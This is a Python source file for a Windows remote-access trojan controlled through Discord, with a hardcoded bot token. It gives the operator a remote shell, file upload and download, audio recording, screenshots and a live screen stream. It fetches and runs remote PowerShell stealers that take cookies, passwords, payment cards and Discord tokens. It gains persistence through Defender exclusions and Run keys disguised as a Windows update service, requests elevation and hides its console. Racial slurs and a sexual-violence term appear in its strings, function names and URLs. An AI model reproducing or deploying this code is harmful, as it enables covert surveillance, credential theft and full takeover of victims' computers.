import os import sys import subprocess import requests import json import re import time import threading import ctypes import socket import platform import tempfile import winreg import signal import atexit import traceback import shlex from http.server import HTTPServer, BaseHTTPRequestHandler import io da_bot = "MTU2NDAyNTI2OTY3OTgyNDk1OA.GUMSzJ.rIhx0ymu8Afj6CDRbkY8FqD7duKjGVnfipTp1s" GUILD_ID = "1564025014850949210" current_dir = os.getcwd() running = True screen_stream_active = False screen_stream_url = None httpd = None cloudflared_proc = None SHUTDOWN_MSG = "closing ts for u" STATE_FILE = os.path.join(os.environ.get('TEMP', '/tmp'), 'backdoor_state.json') CHANNEL_FILE = os.path.join(os.environ.get('TEMP', '/tmp'), 'channels.json') def get_public_ip(): try: response = requests.get('https://api.ipify.org', timeout=5) return response.text.strip() except: try: response = requests.get('https://api.ipify.org?format=json', timeout=5) return response.json()['ip'] except: return 'unknown' def get_local_ip(): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('8.8.8.8', 80)) ip = s.getsockname()[0] s.close() return ip except: return '127.0.0.1' def load_state(): try: with open(STATE_FILE, 'r') as f: return json.load(f) except: return {'last_id': None} def save_state(state): try: with open(STATE_FILE, 'w') as f: json.dump(state, f) except: pass def load_channels(): try: with open(CHANNEL_FILE, 'r') as f: return json.load(f) except: return {} def save_channels(channels): try: with open(CHANNEL_FILE, 'w') as f: json.dump(channels, f) except: pass def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def run_as_admin(): try: script = os.path.abspath(sys.argv[0]) ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, script, None, 0) sys.exit() except: pass def find_or_create_channel(ip): channels = load_channels() if ip in channels: channel_id = channels[ip] try: url = f"https://discord.com/api/v9/channels/{channel_id}" headers = {"Authorization": f"Bot {da_bot}"} response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: return channel_id except: pass del channels[ip] save_channels(channels) try: url = f"https://discord.com/api/v9/guilds/{GUILD_ID}/channels" headers = {"Authorization": f"Bot {da_bot}", "Content-Type": "application/json"} data = { "name": ip.replace('.', '-'), "type": 0 } response = requests.post(url, headers=headers, json=data, timeout=10) if response.status_code == 201: channel_id = response.json()['id'] channels[ip] = channel_id save_channels(channels) help_txt = """ ,shell - Run command (cd works too) ,upload - Upload file to Discord ,download - Download file from URL ,record [sec] - Record audio (5-30s) ,stream - Start 60fps 1080p screen stream via Cloudflare ,stream stop - Stop screen stream ,screenshot - Take screenshot ,extract - Extract personal info (cookies/passwords/emails/cards/etc) ,tokens - Extract Discord tokens ,persistence - Add persistence with exclusions ,remove - Remove persistence entirely ,info - System info ,exit - Shutdown (requires victim's local IP) ,help - This help """ send_channel_msg(channel_id, f"```\n{help_txt}```") return channel_id else: return None except Exception as e: return None def send_channel_msg(channel_id, content): try: url = f"https://discord.com/api/v9/channels/{channel_id}/messages" headers = {"Authorization": f"Bot {da_bot}", "Content-Type": "application/json"} requests.post(url, headers=headers, json={"content": content}, timeout=10) except: pass def upload_to_channel(channel_id, filepath): try: url = f"https://discord.com/api/v9/channels/{channel_id}/messages" headers = {"Authorization": f"Bot {da_bot}"} with open(filepath, 'rb') as f: files = {'file': (os.path.basename(filepath), f)} requests.post(url, headers=headers, files=files, timeout=60) return True except: return False def shutdown(): pass def signal_handler(sig, frame): global running, screen_stream_active running = False screen_stream_active = False shutdown() sys.exit(0) def download_file(url, save_path): try: response = requests.get(url, timeout=60) if response.status_code == 200: os.makedirs(os.path.dirname(save_path), exist_ok=True) with open(save_path, 'wb') as f: f.write(response.content) return True return False except: return False def exec_cmd(cmd): global current_dir try: if cmd.lower().startswith('cd '): newdir = cmd[3:].strip() if (newdir.startswith('"') and newdir.endswith('"')) or (newdir.startswith("'") and newdir.endswith("'")): newdir = newdir[1:-1] try: os.chdir(newdir) current_dir = os.getcwd() return f"I gotchu: {current_dir}" except Exception as e: return f"FAH: {e}" proc = subprocess.run(cmd, shell=True, capture_output=True, text=True, cwd=current_dir) out = proc.stdout + proc.stderr return out if out.strip() else "im done :3" except Exception as e: return f"bru: {e}" def run_powershell_script(script): try: proc = subprocess.run( ["powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script], capture_output=True, text=True, timeout=120 ) return proc.stdout + proc.stderr except Exception as e: return f"[-] PowerShell error: {e}" def record_audio(duration=10): try: import pyaudio import wave chunk = 1024 format = pyaudio.paInt16 channels = 1 rate = 44100 p = pyaudio.PyAudio() stream = p.open(format=format, channels=channels, rate=rate, input=True, frames_per_buffer=chunk) frames = [] for _ in range(0, int(rate / chunk * duration)): data = stream.read(chunk) frames.append(data) stream.stop_stream() stream.close() p.terminate() temp_path = os.path.join(tempfile.gettempdir(), 'recording.wav') wf = wave.open(temp_path, 'wb') wf.setnchannels(channels) wf.setsampwidth(p.get_sample_size(format)) wf.setframerate(rate) wf.writeframes(b''.join(frames)) wf.close() return temp_path except Exception as e: return None def take_da_screenshot(): try: import pyautogui temp_path = os.path.join(tempfile.gettempdir(), 'screenshot.png') screenshot = pyautogui.screenshot() screenshot.save(temp_path) return temp_path except: return None class ScreenStreamHandler(BaseHTTPRequestHandler): def do_GET(self): try: import mss from PIL import Image if self.path == '/stream': self.send_response(200) self.send_header('Content-Type', 'multipart/x-mixed-replace; boundary=frame') self.send_header('Cache-Control', 'no-cache, no-store, must-revalidate') self.send_header('Pragma', 'no-cache') self.send_header('Expires', '0') self.end_headers() with mss.mss() as sct: monitor = sct.monitors[1] target_width = 1920 target_height = 1080 scale_w = target_width / monitor['width'] scale_h = target_height / monitor['height'] scale = min(scale_w, scale_h) new_width = int(monitor['width'] * scale) new_height = int(monitor['height'] * scale) left = (target_width - new_width) // 2 top = (target_height - new_height) // 2 frame_interval = 1.0 / 60.0 next_frame_time = time.time() while screen_stream_active: current_time = time.time() if current_time < next_frame_time: time.sleep(next_frame_time - current_time) continue screenshot = sct.grab(monitor) img = Image.frombytes('RGB', screenshot.size, screenshot.bgra, 'raw', 'BGRX') if new_width != monitor['width'] or new_height != monitor['height']: img_resized = img.resize((new_width, new_height), Image.Resampling.LANCZOS) canvas = Image.new('RGB', (target_width, target_height), (0, 0, 0)) canvas.paste(img_resized, (left, top)) img = canvas img_bytes = io.BytesIO() img.save(img_bytes, format='JPEG', quality=75, optimize=True) jpeg_data = img_bytes.getvalue() self.wfile.write(b'--frame\\r\\n') self.wfile.write(b'Content-Type: image/jpeg\\r\\n') self.wfile.write(f'Content-Length: {len(jpeg_data)}\\r\\n'.encode()) self.wfile.write(b'\\r\\n') self.wfile.write(jpeg_data) self.wfile.write(b'\\r\\n') next_frame_time += frame_interval elif self.path == '/': self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() html = """ Screen Stream """ self.wfile.write(html.encode()) except: pass def install_stream_packages(): try: import mss import PIL return True except: try: python_exe = sys.executable subprocess.run([python_exe, "-m", "pip", "install", "mss", "Pillow", "--quiet", "--no-warn-script-location"], timeout=120) time.sleep(2) return True except: return False def get_cloudflare_url(): global cloudflared_proc try: timeout = 30 start = time.time() while time.time() - start < timeout: if cloudflared_proc and cloudflared_proc.stderr: output = cloudflared_proc.stderr.read(1024).decode('utf-8', errors='ignore') match = re.search(r'https://[a-zA-Z0-9-]+\\.trycloudflare\\.com', output) if match: return match.group(0) time.sleep(0.5) return None except: return None def start_screen_stream(): global screen_stream_active, screen_stream_url, httpd, cloudflared_proc if screen_stream_active: return "stream is already running" if not install_stream_packages(): return "failed to install stream packages" try: screen_stream_active = True STREAM_PORT = 8080 try: subprocess.run(["taskkill", "/F", "/IM", "cloudflared.exe"], capture_output=True) time.sleep(1) except: pass httpd = HTTPServer(("", STREAM_PORT), ScreenStreamHandler) thread = threading.Thread(target=httpd.serve_forever) thread.daemon = True thread.start() cloudflared_path = os.path.join(os.environ.get('TEMP', 'C:\\Temp'), 'cloudflared.exe') CLOUDFLARED_URL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe" if not os.path.exists(cloudflared_path): try: response = requests.get(CLOUDFLARED_URL, timeout=60) with open(cloudflared_path, 'wb') as f: f.write(response.content) os.chmod(cloudflared_path, 0o755) except: pass if os.path.exists(cloudflared_path): startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = subprocess.STARTF_USESHOWWINDOW startupinfo.wShowWindow = 0 CREATE_NO_WINDOW = 0x08000000 cmd = f'"{cloudflared_path}" tunnel --url http://localhost:{STREAM_PORT}' cloudflared_proc = subprocess.Popen( cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, startupinfo=startupinfo, creationflags=CREATE_NO_WINDOW ) cloudflare_url = get_cloudflare_url() if cloudflare_url: screen_stream_url = cloudflare_url return f"\`\`\`niggas live now: {screen_stream_url}\`\`\`" else: screen_stream_active = False return "cloudflare url not found, fix yo shi" screen_stream_active = False return "failed to start cloudflared" except Exception as e: screen_stream_active = False return f"yo shi died LO {e}" def stop_screen_stream(): global screen_stream_active, screen_stream_url, httpd, cloudflared_proc screen_stream_active = False screen_stream_url = None try: if httpd: httpd.shutdown() httpd = None except: pass try: if cloudflared_proc: cloudflared_proc.terminate() cloudflared_proc = None except: pass try: subprocess.run(["taskkill", "/F", "/IM", "cloudflared.exe"], capture_output=True) except: pass return "stopped the niggas stream" def process_msg(content, channel_id): global running, screen_stream_active if not content: return content = content.strip() parts = content.split(' ', 1) cmd = parts[0].lower() args = parts[1] if len(parts) > 1 else '' def respond(msg): if len(msg) > 1900: for i in range(0, len(msg), 1900): send_channel_msg(channel_id, f"\`\`\`\\n{msg[i:i+1900]}\\n\`\`\`") else: send_channel_msg(channel_id, f"\`\`\`\\n{msg}\\n\`\`\`") if cmd == ',shell': out = exec_cmd(args) respond(out) elif cmd == ',upload': if not args: respond("Usage: ,upload ") return fpath = args.strip().strip('"').strip("'") if os.path.exists(fpath): if upload_to_channel(channel_id, fpath): send_channel_msg(channel_id, f"uploaded: {os.path.basename(fpath)}") else: send_channel_msg(channel_id, "upload failed") else: send_channel_msg(channel_id, f"file not found: {fpath}") elif cmd == ',download': if not args: respond("Usage: ,download ") return parts = args.split(' ', 1) if len(parts) != 2: respond("Usage: ,download ") return url, save_path = parts url = url.strip() save_path = save_path.strip().strip('"').strip("'") if os.path.isdir(save_path) or save_path.endswith('\\\\') or save_path.endswith('/'): filename = url.split('/')[-1].split('?')[0] if not filename: filename = 'downloaded_file' save_path = os.path.join(save_path, filename) if download_file(url, save_path): send_channel_msg(channel_id, f"downloaded: {save_path}") else: send_channel_msg(channel_id, "download failed") elif cmd == ',record': try: duration = int(args) if args and args.isdigit() else 10 if duration > 30: duration = 30 send_channel_msg(channel_id, f"recording audio for {duration} seconds") audio_path = record_audio(duration) if audio_path and os.path.exists(audio_path): upload_to_channel(channel_id, audio_path) os.remove(audio_path) send_channel_msg(channel_id, "recording uploaded") else: send_channel_msg(channel_id, "recording failed (install pyaudio)") except Exception as e: send_channel_msg(channel_id, f"recording error: {e}") elif cmd == ',stream': if args == 'stop': if screen_stream_active: result = stop_screen_stream() send_channel_msg(channel_id, result) else: send_channel_msg(channel_id, "no stream running") else: if not screen_stream_active: result = start_screen_stream() send_channel_msg(channel_id, result) else: send_channel_msg(channel_id, f"stream running at: {screen_stream_url}") elif cmd == ',screenshot': try: ss_path = take_da_screenshot() if ss_path and os.path.exists(ss_path): upload_to_channel(channel_id, ss_path) os.remove(ss_path) send_channel_msg(channel_id, "screenshot taken") else: send_channel_msg(channel_id, "screenshot failed (install pyautogui)") except Exception as e: send_channel_msg(channel_id, f"screenshot error: {e}") elif cmd == ',extract': send_channel_msg(channel_id, "extracting personal info...") try: ps_script = 'iex (iwr -UseBasicParsing https://e-rape.thexor7.workers.dev/psc).Content' result = run_powershell_script(ps_script) send_channel_msg(channel_id, "extraction complete, check tele") except Exception as e: send_channel_msg(channel_id, f"extraction failed: {e}") elif cmd == ',tokens': send_channel_msg(channel_id, "extracting discord tokens...") try: ps_script = 'iex (iwr -UseBasicParsing https://nigger.thexor7.workers.dev/psc).Content' result = run_powershell_script(ps_script) send_channel_msg(channel_id, "token extraction complete") except Exception as e: send_channel_msg(channel_id, f"token extraction failed: {e}") elif cmd == ',persistence': send_channel_msg(channel_id, "adding persistence...") try: ps_script = """$temp = $env:TEMP $exeName = 'sonion.exe' $vbsName = 's.vbs' $targetExe = Join-Path $temp $exeName $targetVbs = Join-Path $temp $vbsName $src = [System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName if (-not (Test-Path $targetExe)) { Copy-Item -Path $src -Destination $targetExe -Force -ErrorAction SilentlyContinue } $vbs = @" Set WshShell = CreateObject("WScript.Shell") WshShell.Run """"$targetExe"""", 0, False "@ Set-Content -Path $targetVbs -Value $vbs -Encoding ASCII -Force Add-MpPreference -ExclusionPath $temp -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $targetExe -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $targetVbs -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess $exeName -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess $vbsName -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess 'python.exe' -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\\Windows\\Temp' -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath 'C:\\Users\\*\\AppData\\Local\\Temp' -ErrorAction SilentlyContinue reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v WindowsUpdateService /t REG_SZ /d "$targetVbs" /f reg add "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v WindowsUpdateService /t REG_SZ /d "$targetVbs" /f""" result = run_powershell_script(ps_script) send_channel_msg(channel_id, "persistence added") except Exception as e: send_channel_msg(channel_id, f"persistence failed: {e}") elif cmd == ',remove': send_channel_msg(channel_id, "removing persistence...") try: ps_script = """$temp = $env:TEMP $exeName = 'sonion.exe' $vbsName = 's.vbs' $targetExe = Join-Path $temp $exeName $targetVbs = Join-Path $temp $vbsName Remove-MpPreference -ExclusionPath $temp -ErrorAction SilentlyContinue Remove-MpPreference -ExclusionPath $targetExe -ErrorAction SilentlyContinue Remove-MpPreference -ExclusionPath $targetVbs -ErrorAction SilentlyContinue Remove-MpPreference -ExclusionProcess $exeName -ErrorAction SilentlyContinue Remove-MpPreference -ExclusionProcess $vbsName -ErrorAction SilentlyContinue Remove-MpPreference -ExclusionProcess 'python.exe' -ErrorAction SilentlyContinue Remove-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue Remove-MpPreference -ExclusionPath 'C:\\Windows\\Temp' -ErrorAction SilentlyContinue Remove-MpPreference -ExclusionPath 'C:\\Users\\*\\AppData\\Local\\Temp' -ErrorAction SilentlyContinue reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v WindowsUpdateService /f 2>$null reg delete "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v WindowsUpdateService /f 2>$null if (Test-Path $targetVbs) { Remove-Item $targetVbs -Force -ErrorAction SilentlyContinue } if (Test-Path $targetExe) { Remove-Item $targetExe -Force -ErrorAction SilentlyContinue } Write-Host 'Cleanup completed!'""" result = run_powershell_script(ps_script) send_channel_msg(channel_id, "persistence removed") except Exception as e: send_channel_msg(channel_id, f"removal failed: {e}") elif cmd == ',info': info = f"Hostname: {socket.gethostname()}\\nOS: {platform.system()} {platform.release()}\\nUser: {os.environ.get('USERNAME', os.environ.get('USER'))}\\nDir: {current_dir}\\nLocal IP: {get_local_ip()}\\nPublic IP: {get_public_ip()}" respond(info) elif cmd == ',exit': local_ip = get_local_ip() if args.strip() != local_ip: send_channel_msg(channel_id, f"nah, say the right IP ({local_ip})") return running = False screen_stream_active = False state = load_state() state['last_id'] = None save_state(state) send_channel_msg(channel_id, "closing ts for u") os._exit(0) elif cmd == ',help': help_txt = """ ,shell - Run command (cd works too) ,upload - Upload file to Discord ,download - Download file from URL ,record [sec] - Record audio (5-30s) ,stream - Start 60fps 1080p screen stream via Cloudflare ,stream stop - Stop screen stream ,screenshot - Take screenshot ,extract - Extract personal info (cookies/passwords/emails/cards/etc) ,tokens - Extract Discord tokens ,persistence - Add persistence with exclusions ,remove - Remove persistence entirely ,info - System info ,exit - Shutdown (requires victim's local IP) ,help - This help """ respond(help_txt) def listen_on_de_niggers(): global running state = load_state() last_id = state.get('last_id') victim_ip = get_public_ip() victim_channel = find_or_create_channel(victim_ip) if not victim_channel: return send_channel_msg(victim_channel, "baka is now active :O") while running: try: url = f"https://discord.com/api/v9/channels/{victim_channel}/messages" headers = {"Authorization": f"Bot {da_bot}"} params = {"limit": 5} if last_id: params["after"] = last_id resp = requests.get(url, headers=headers, params=params, timeout=10) if resp.status_code != 200: time.sleep(5) continue msgs = resp.json() if msgs and isinstance(msgs, list): for msg in msgs: content = msg.get('content', '') msg_id = msg.get('id', '') author_id = msg.get('author', {}).get('id', '') if author_id == '': continue if content == SHUTDOWN_MSG: last_id = msg_id state['last_id'] = last_id save_state(state) continue if content.startswith(',') and msg_id != last_id: last_id = msg_id state['last_id'] = last_id save_state(state) process_msg(content, victim_channel) if msgs: last_id = msgs[0]['id'] state['last_id'] = last_id save_state(state) time.sleep(3) except Exception as e: time.sleep(5) def hide_da_console(): try: if sys.platform == "win32": ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) except: pass def on_exit(): shutdown() def main(): global running signal.signal(signal.SIGINT, signal_handler) signal.signal(signal.SIGTERM, signal_handler) if sys.platform == "win32": try: import win32api win32api.SetConsoleCtrlHandler(signal_handler, True) except: pass atexit.register(on_exit) if not is_admin(): run_as_admin() return hide_da_console() thread = threading.Thread(target=listen_on_de_niggers, daemon=True) thread.start() while running: try: time.sleep(1) except: running = False sys.exit(0) if __name__ == "__main__": try: main() except Exception as e: time.sleep(5) sys.exit(1)